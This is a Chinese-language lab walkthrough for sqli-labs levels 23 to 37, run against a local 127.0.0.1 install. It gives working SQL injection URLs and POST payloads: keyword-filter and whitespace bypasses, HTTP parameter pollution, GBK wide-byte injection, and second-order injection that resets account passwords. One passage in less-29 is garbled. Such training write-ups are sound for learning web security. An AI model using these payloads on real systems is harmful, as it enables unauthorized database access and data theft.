sqli-labs通关攻略23-37[Advanced Injections]

Advanced Injections

文章目录

    • Advanced Injections
      • less-23
      • less-24
      • less-25
      • less-25a
      • less-26
      • less-26a
      • less-27
      • less-27a
      • less-28
      • less-28a
      • less-29
      • less-30
      • less-31
      • less-32
      • less-33
      • less-34
      • less-35
      • less-36
      • less-37

less-23

sqli-labs通关攻略23-37[Advanced Injections]_第1张图片
在这里将注释符给过滤了,也就是说我们不能通过注释注释后面符号进行闭合,闭合思路不止一种,我们可以构造出一个’来与后面的进行闭合,比如and ‘1’='1
老样子一个引号测试
sqli-labs通关攻略23-37[Advanced Injections]_第2张图片
通过报错信息知道它是通过单引号进行闭合的
正常注入,由于他闭合注释符,所以是被过滤
sqli-labs通关攻略23-37[Advanced Injections]_第3张图片
解决方法 我们再加一个’闭合后面’即可sqli-labs通关攻略23-37[Advanced Injections]_第4张图片
注入语句如下:

http://127.0.0.1/sql-labs/Less-23/?id=-1' union select 1,2,3 and 1='1

获取版本、数据库名:

http://127.0.0.1/sql-labs/Less-23/?id=-1' union select 
1,concat_ws(':',version(),database()),3 and 1='1

当然,因为它将错误语句输出了,这里也可以使用报错注入:

http://127.0.0.1/sql-labs/Less-23/?id=1' and 
updatexml(1,concat(0x7e,(select database())),1) and 1='1

less-24

sqli-labs通关攻略23-37[Advanced Injections]_第5张图片
login.php
sqli-labs通关攻略23-37[Advanced Injections]_第6张图片
这里对用户传进来的数据通过mysql_real_escape_string()函数转义。
下面字符会被通过\进行转义
x00、\n、\r、\、’、"、\x1a
编码如果不是gbk,就不能宽字节注入 单引号就不能用了,这里也就不能闭合进行注入了。
在这里直接注册用户
login_create.php:
sqli-labs通关攻略23-37[Advanced Injections]_第7张图片
由于这里被mysql_escape_string过滤转义,所以我们注册admin’ or 1=1#并不会被代入到sql语句中执行,而是将’转义直接插入到数据库中去
sqli-labs通关攻略23-37[Advanced Injections]_第8张图片
sqli-labs通关攻略23-37[Advanced Injections]_第9张图片
通过admin’ or 1=1#登入之后,是一个修改密码的功能
sqli-labs通关攻略23-37[Advanced Injections]_第10张图片
sqli-labs通关攻略23-37[Advanced Injections]_第11张图片
在这里直接再将存放在SESSION中的用户名直接插入SQL语句中进行更新操作,这时就造成了二次注入。
那这时的SQL语句就变成:
在这里插入图片描述
sqli-labs通关攻略23-37[Advanced Injections]_第12张图片这样就将所有账户的密码全部改掉了
sqli-labs通关攻略23-37[Advanced Injections]_第13张图片

less-25

sqli-labs通关攻略23-37[Advanced Injections]_第14张图片
在这里将or和and给过滤掉了,这里其实能通过多种方式进行绕过:
1.大小写绕过:Or AnD aND (代码中大小写敏感,都会被过滤,此题无效)
2.双写绕过:aandnd oorr
3.在敏感关键字中间添加注释:a//nd,o//r
4.利用符号代替:and -> &&,or -> ||
5.十六进制、urlencode

http://127.0.0.1/sql-labs/less-25/?id=1' aandnd 1=1--+
http://127.0.0.1/sql-labs/less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where 
table_schema='security' --+

less-25a

跟上道题一样,去掉引号而已

http://127.0.0.1/sql-labs/less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where 
table_schema='security' --+

less-26

sqli-labs通关攻略23-37[Advanced Injections]_第15张图片
这题过滤了or、and、/*、–、#、\s、/\。
过滤or和and,上道题讲了,使用双写或用符号&&和||代替等
注释符我们可以使用通过写一个字符引号闭合 and ‘1’='1等方法闭合
空格我们可以用%0a、%0b、%0c、%0d、%09等来代替

http://127.0.0.1/sql-labs/less-26/?id=1'%0b||%0bupdatexml(1,concat(0x7e,database()),1)%0b||%0b'1'='1

这里有的代替字符可能需要linux 环境,这里就不测试了。

less-26a

多了个),并且注释了报错信息,换成联合查询即可

less-27

sqli-labs通关攻略23-37[Advanced Injections]_第16张图片
用%0c代替空格、||代替 or、union/select 大小写、双写绕过。

http://127.0.0.1/sql-labs/less-27/?id=-100000'unIon%0cSeLeCT%0c1,database(),3%0c||%0c'1'='1
http://127.0.0.1/sql-labs/less-27/?id=-100000'%0aunIon%0aseLect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||'1

less-27a

sqli-labs通关攻略23-37[Advanced Injections]_第17张图片
改用闭合方式,改用引号包裹

http://127.0.0.1/sql-labs/less-27a/?id=-100000"%0aunIon%0aseLect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()||"1

less-28

sqli-labs通关攻略23-37[Advanced Injections]_第18张图片
这里比上面多过滤了"union select",由于过滤了整个组合,我们可以通过unionunion select select来绕过,空格还是用%0a来代替

http://127.0.0.1/sql-labs/less-28/?id=-10000')%0aunionunion%0aselect%0aselect%0a1,group_concat(table_name),3%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0a||('1

less-28a

sqli-labs通关攻略23-37[Advanced Injections]_第19张图片
和上道题一样。

less-29

这里由于利用的是php环境,所以使用的是login.php里面通过java_implimentation函数模拟了jsp取值方式,从而模拟两层服务器器架构。
login.php
sqli-labs通关攻略23-37[Advanced Injections]_第20张图片
sqli-labs通关攻略23-37[Advanced Injections]_第21张图片
这里使用到http的参数污染: jsp/tomcat使用getgetParameter(“id”)获取到的是第一个值,php/apache使用$_ GET[“id”]获取的是第二个值(最后一个值),那么第一个id纯数字,第二个id的值注入就可以了。也就是说不同的id值是由不同的服务去解析读取。

在上面代码中 S E R V E R [ ′ Q U E R Y S T R I N G ′ ] 是 获 取 查 询 字 符 串 , 也 就 是 获 取 ? 后 面 的 值 , 如 ? p = 123 , _SERVER['QUERY_STRING']是获取查询字符串,也就是获取?后面的值,如?p=123, SERVER[QUERYSTRING]??p=123,_SERVER[‘QUERY_STRING’]获取到的就是’p=123’。

java_implimentation函数的作用是返回第一个id的结果,即模仿jsp取值方式。sqli-labs通关攻略23-37[Advanced Injections]_第22张图片
而apache取值则是取最后一个值。
而whitelist则将java_implimentation取到的第一个id结果进行判断,如果为数字则进行pass,否则就被强行跳到另外一个界面。这里取的是第一位参数,也就是说取jsp的取值结果进行判断,我们可以通过HPP参数污染,设置第一个参数为数字来绕过whitelist。从而进行注入
注入语句如下:

http://127.0.0.1/sql-labs/less-29/login.php?id=-1' union select 1,2,3 --+

sqli-labs通关攻略23-37[Advanced Injections]_第23张图片

http://127.0.0.1/sql-labs/less-29/login.php?id=1&id=-1' union select 
1,2,3 --+

sqli-labs通关攻略23-37[Advanced Injections]_第24张图片

http://127.0.0.1/sql-labs/less-29/login.php?id=1&id=-1' union select 1,version(),database() --+

sqli-labs通关攻略23-37[Advanced Injections]_第25张图片

less-30

sqli-labs通关攻略23-37[Advanced Injections]_第26张图片
和上题一样,只是改变了闭合方式

http://127.0.0.1/sql-labs/less-30/login.php?id=1&id=-1" union select 1,version(),database() --+

sqli-labs通关攻略23-37[Advanced Injections]_第27张图片

less-31

sqli-labs通关攻略23-37[Advanced Injections]_第28张图片
还是闭合问题…

http://127.0.0.1/sql-labs/less-31/login.php?id=1&id=-1") union select 1,version(),database() --+

less-32

宽字节注入
sqli-labs通关攻略23-37[Advanced Injections]_第29张图片
这里过滤了反斜杠、单引号、双引号,而在这里数据库被设置为gbk编码,所以我们这里可以尝试进行宽字节注入

GBK占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。
%df’:会被PHP当中的addslashes函数等\转义为"%df",“\”既URL 里的“%5C",那么也就是说,“%df"会被转成"%df%5c%27",倘若网站的字符集是GBK,MYSQL 使用的编码也是GBK的话,就会认为%df%5c是一个宽字节字符。

根据由上总结,我们可以知道并不仅仅只可以使用%df,只要ascii码大于128的url编码即可。举个例子,例如ascii码129也可以进行宽字节注入,那我们如何把它变成URL编码?很简单其实我们只要把129(十进制)转换为十六进制即可,然后加上%号,变成%81,它也是可以进行宽字节注入

http://127.0.0.1/sql-labs/less-32/?id=1'

sqli-labs通关攻略23-37[Advanced Injections]_第30张图片

发现被转义,使用宽字节进行注入

http://127.0.0.1/sql-labs/less-32/?id=-1%da' union select 1,2,3 --+

sqli-labs通关攻略23-37[Advanced Injections]_第31张图片

http://127.0.0.1/sql-labs/less-32/?id=-1%da' union select 
1,version(),database() --+

sqli-labs通关攻略23-37[Advanced Injections]_第32张图片

http://127.0.0.1/sql-labs/less-32/?id=-1%da' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+

less-33

sqli-labs通关攻略23-37[Advanced Injections]_第33张图片
还是对单引号(’)、双引号(")、反斜杠(\)、NULL进行\转义
还是宽字节注入

http://127.0.0.1/sql-labs/less-33/?id=-1%da' union select 
1,version(),database() --+
http://127.0.0.1/sql-labs/less-33/?id=-1%da' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) --+

less-34

sqli-labs通关攻略23-37[Advanced Injections]_第34张图片
还是宽字节注入,只是改为了POST提交方式而已
在这里需要将所拼接的字符先进行url解码,比如%df=

uname=-123 ' union select 1,2#&passwd=123123

sqli-labs通关攻略23-37[Advanced Injections]_第35张图片

uname=-123 ' union select version(),database()#&passwd=123123

sqli-labs通关攻略23-37[Advanced Injections]_第36张图片

less-35

sqli-labs通关攻略23-37[Advanced Injections]_第37张图片

没有被单双引号包裹,所以addslashes也不起作用,直接正常注入即可

http://127.0.0.1/sql-labs/less-35/?id=-1 union select 1,version(),database()--+
http://127.0.0.1/sql-labs/less-35/?id=-1 and 
extractvalue(1,concat(0x7e,(select database()),0x7e))--+

sqli-labs通关攻略23-37[Advanced Injections]_第38张图片

less-36

sqli-labs通关攻略23-37[Advanced Injections]_第39张图片
mysql_real_escape_string也是对特殊字符进行\转义,包括有:
\x00、\n、\r、\、’、"、\x1a,这些字符,所以还是可以使用宽字节进行绕过

http://127.0.0.1/sql-labs/less-36/?id=-1%df' union select 1,version(),database()--+

sqli-labs通关攻略23-37[Advanced Injections]_第40张图片

less-37

sqli-labs通关攻略23-37[Advanced Injections]_第41张图片
mysql_real_escape_string过滤,gbk编码,post传参
还是宽字节绕过

uname=-123 ' union select version(),database()#&passwd=123123

sqli-labs通关攻略23-37[Advanced Injections]_第42张图片

你可能感兴趣的:(web安全)